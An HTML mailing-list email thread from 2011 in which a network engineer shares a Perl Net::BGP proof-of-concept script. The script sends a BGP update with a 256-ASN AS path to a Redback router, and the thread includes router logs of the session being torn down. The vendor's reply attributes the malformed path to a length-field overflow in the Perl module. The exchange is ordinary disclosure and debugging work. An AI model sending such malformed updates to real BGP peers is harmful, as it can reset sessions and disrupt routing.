<html><head></head><body style="word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-space; ">Pawel,<div><br></div><div><div style="font-family: Consolas; ">That's a different error.</div><div style="font-family: Consolas; ">The PERL module has a bug.</div><div style="font-family: Consolas; ">It has an aspath segment of length 0.</div><div style="font-family: Consolas; ">The path segment length field is one byte and it attempted to put 256 ASNs into a single path segment.</div><div style="font-family: Consolas; ">The length field overflowed.</div><div style="font-family: Consolas; ">The aspath really is malformed.</div><div style="font-family: Consolas; "><br></div><div style="font-family: Consolas; ">You might want to capture the update and analyze it. </div><div style="font-family: Consolas; ">Please try a real router...</div><div style="font-family: Consolas; "><br></div><div style="font-family: Consolas; ">In general - before accusing anyone of misbehaving - have a solid prove that this is really the case.</div><div style="font-family: Consolas; "><br></div><div style="font-family: Consolas; ">Cheers,</div><div style="font-family: Consolas; ">Jeff</div><div style="font-family: Consolas; "><br></div><div><div>On Dec 2, 2011, at 10:44 PM, Pawel Jarosz wrote:</div><br class="Apple-interchange-newline"><blockquote type="cite"><div>On Fri, 2 Dec 2011, Jeff Tantsura wrote:<br><br><blockquote type="cite">Hi Pawel,<br></blockquote><blockquote type="cite"><br></blockquote><blockquote type="cite">SEOS has been treating this condition (AS path longer than 255) as withdraw<br></blockquote><blockquote type="cite">since 2003.<br></blockquote><blockquote type="cite">Could you please provide access to the PoC?<br></blockquote><blockquote type="cite"><br></blockquote><blockquote type="cite">Thanks!<br></blockquote>Hi Jeff,<br>its' simple perl Net::BGP based script,<br>first install Net::BGP from CPAN.<br>Set up simple BGP session 9prefered in separate context),<br>in my environment between 10.0.0.1 (bgpd) and 10.0.0.1 (redback)<br>This behavior was analysed, such situation happened in 2008, and<br>same packets were generated form quagga.<br><br>Redback:<br><br> router bgp 65530<br> address-family ipv4 unicast<br>!<br> neighbor 10.0.0.2 external<br> remote-as 65531<br> address-family ipv4 unicast<br><br>Perl:<br>------------------------------------ #!/usr/bin/perl<br>#BGP Test daemon by Pawel Jarosz <<a href="mailto:pj@hostersi.pl">pj@hostersi.pl</a>><br><br>use Net::BGP::Peer;<br>use Net::BGP::Update;<br>use Net::BGP::ASPath;<br>use Net::BGP::Process;<br><br>#Connect parameters<br>$LOCAL='10.11.0.254';<br>$LOCAL_AS=65531;<br>$REMOTE='10.0.0.1';<br>$REMOTE_AS='65530';<br><br>$peer = Net::BGP::Peer->new(<br> Start => 1,<br> ThisID => $LOCAL,<br> ThisAS => $LOCAL_AS,<br> PeerID => $REMOTE,<br> PeerAS => $REMOTE_AS,<br> Listen => 0,<br> Passive => 0,<br>);<br><br>sub sec_update_timer {<br> $update = Net::BGP::Update->new(<br> NLRI => [ qw( 1.1.1.1/24 ) ],<br> # For Net::BGP::NLRI<br> Aggregator => [ $LOCAL_AS, $LOCAL ],<br> #Oversized as-path goes here...<br> AsPath => Net::BGP::ASPath->new("$LOCAL_AS "x256),<br> AtomicAggregate => 1,<br> # Communities => [ qw( 64512:10000 64512:10001 ) ],<br> # LocalPref => 100,<br> # MED => 200,<br> NextHop => $LOCAL,<br> Origin => INCOMPLETE,<br> );<br> $peer=shift;<br> $estab = $peer->is_established();<br> print "Established: $estab\n";<br> if (!$estab) {<br> $peer->start();<br> return;<br> }<br> print "Sending update...\n";<br> $peer->update($update);<br>}<br><br>$bgp = Net::BGP::Process->new();<br><br>$bgp->add_peer($peer);<br>$peer->start();<br>$peer->add_timer(\&sec_update_timer, 5);<br><br>print "Starting loop...\n";<br>$bgp->event_loop();<br>print "Done...\n";<br>-------------------------------------------------<br><br>Start the script.<br><br>In my logs:<br><br>Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 rcv UPDATE, 549 bytes<br>Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 rcv invalid as path segment length 0<br>Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 malformed aspath, 514 bytes - aspath dump<br>Dec 2 11:21:48 10.0.0.1<br>Dec 2 11:21:48 10.0.0.1 0 02 00 ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 16 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 32 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 48 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 64 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 80 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 96 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 112 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 128 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 144 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 160 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 176 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 192 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 208 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 224 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 240 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 256 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 272 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 288 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 304 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 320 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 336 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 352 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 368 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 384 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 400 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 416 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 432 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 448 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 464 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 480 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 496 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb<br>Dec 2 11:21:48 10.0.0.1 512 ff fb<br>Dec 2 11:21:48 10.0.0.1<br>Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.240: [0001]: %BGP-6-INFO: 10.0.0.2 DOWN - Notification sent<br>Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.240: [0001]: %BGP-6-INFO: 10.0.0.2 send NOTIFICATION: 3/11 (update: malformed ASPATH) with 518 byte data. mxReadMs=5016<br><br>Regards,<br><span class="Apple-tab-span" style="white-space:pre"> </span>Pawel<br><br>--<br>Pawel Jarosz (PJ2179-RIPE)<br>Hostersi, Rybnik, Dworek 23, tel. 0 801 000 601<br>e-mail: <a href="mailto:pj@hostersi.pl">pj@hostersi.pl</a>, <a href="http://www.hostersi.pl/">http://www.hostersi.pl/</a><br><br></div></blockquote></div><br></div></body></html>